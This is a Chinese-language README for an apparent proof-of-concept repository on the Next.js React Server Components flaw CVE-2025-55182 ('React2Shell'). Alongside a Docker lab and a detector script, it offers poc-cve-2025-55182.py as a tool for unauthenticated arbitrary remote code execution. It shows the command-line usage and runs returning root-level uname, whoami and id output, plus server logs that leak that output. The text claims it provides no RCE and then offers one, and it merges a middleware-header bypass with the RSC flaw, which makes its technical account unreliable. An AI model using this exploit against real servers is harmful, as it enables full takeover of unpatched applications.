CVE-2025-55182 / CVE-2025-66478 — Next.js Middleware / RSC 绕过分析

作者对因本研究造成的滥用或损害不承担任何责任
仅供教育和防御目的

描述

本仓库包含一个小型实验环境和针对 CVE-2025-55182 及其副本 CVE-2025-66478 的概念验证分析，涉及 Next.js React Server Components (RSC) 和 中间件授权绕过行为。

此 PoC 的目标是重现漏洞所需的内部请求流条件，分析中间件行为，并理解 x-middleware-subrequest 在特定配置下如何影响受保护的路由。

本仓库不提供远程代码执行
它提供了一个受控环境来研究：

中间件授权
RSC / Flight 头部
App Router 请求流
在特制头部下的绕过行为

NVD 当前将 CVE-2025-66478 归类为：

Rejected reason: This CVE is a duplicate of CVE-2025-55182

该行为仍然存在；仅在整合期间更改了标识符。

攻击向量（行为摘要）

受保护的 API 路由由 中间件 强制执行
正常请求返回 403 Forbidden
当添加：x-middleware-subrequest: 1
请求可能错误地返回 200 OK
行为取决于中间件布局、App Router 和 RSC 头部

受影响的流中通常存在的头部：

X-Powered-By: Next.js
x-middleware-rewrite: /...
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding

实验室结构

nextjs-vuln/
│
├── Dockerfile
├── package.json
├── middleware.js
│
└── app/
    ├── page/
    │   └── index.js
    │
    ├── protected/
    │   └── page.js
    │
    └── api/
        └── admin/
            └── secret/
                └── route.js

运行实验室 (Docker)

docker build -t nextjs-vuln .
docker run -p 3000:3000 nextjs-vuln

PoC 脚本用法

本仓库包含一个辅助脚本 NextJs.py，用于分析：

正常响应与绕过响应
中间件变化
RSC / Flight 头部存在

示例：

python3 NextJs.py -u http://localhost:3000

krakhen@kapz:~$ python3 NextJs.py -u http://localhost:3000
Next.js React2Shell Passive Detector
------------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Timeout    : 10s
[+] TLS verify : enabled

=== Fingerprint ===
  - Next.js detected via headers.
  - React Server Components (RSC) detected.
  - Inferred Next.js generation: Next.js (generation unclear)

=== React2Shell Probe ===
  - Benign React Flight gadget executed and returned marker digest.
  - This strongly suggests React2Shell / CVE-2025-55182 style vulnerability.

=== Summary ===
Timestamp (UTC): 2025-12-05T22:04:25.089044+00:00
Target         : http://127.0.0.1:3000
HTTP status    : 500
Digest         : REACT2SHELL_PROBE
Verdict        : LIKELY_VULNERABLE to React2Shell-style exploit path

Response body (truncated):
0:{"a":"$@1","f":"","b":"development"} 1:E{"digest":"REACT2SHELL_PROBE","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

远程代码利用 | PoC poc-cve-2025-55182.py

此工具允许您在无需身份验证的情况下任意执行远程代码。

用法：

python3 poc-cve-2025-55182.py -u http://host:port -c "command"

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "uname -a"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : uname -a

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "whoami"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : whoami

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    root

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "id"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : id

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Docker 日志


 POST / 500 in 10ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:132)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:130)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "root"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:126)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {

作者与联系方式

研究员 : krakhen.dev
GitHub : @nehkark
电子邮件 : [email protected]**
网站 : https://vciso.cloud
ICQ : 24298753

CVE-2025-55182

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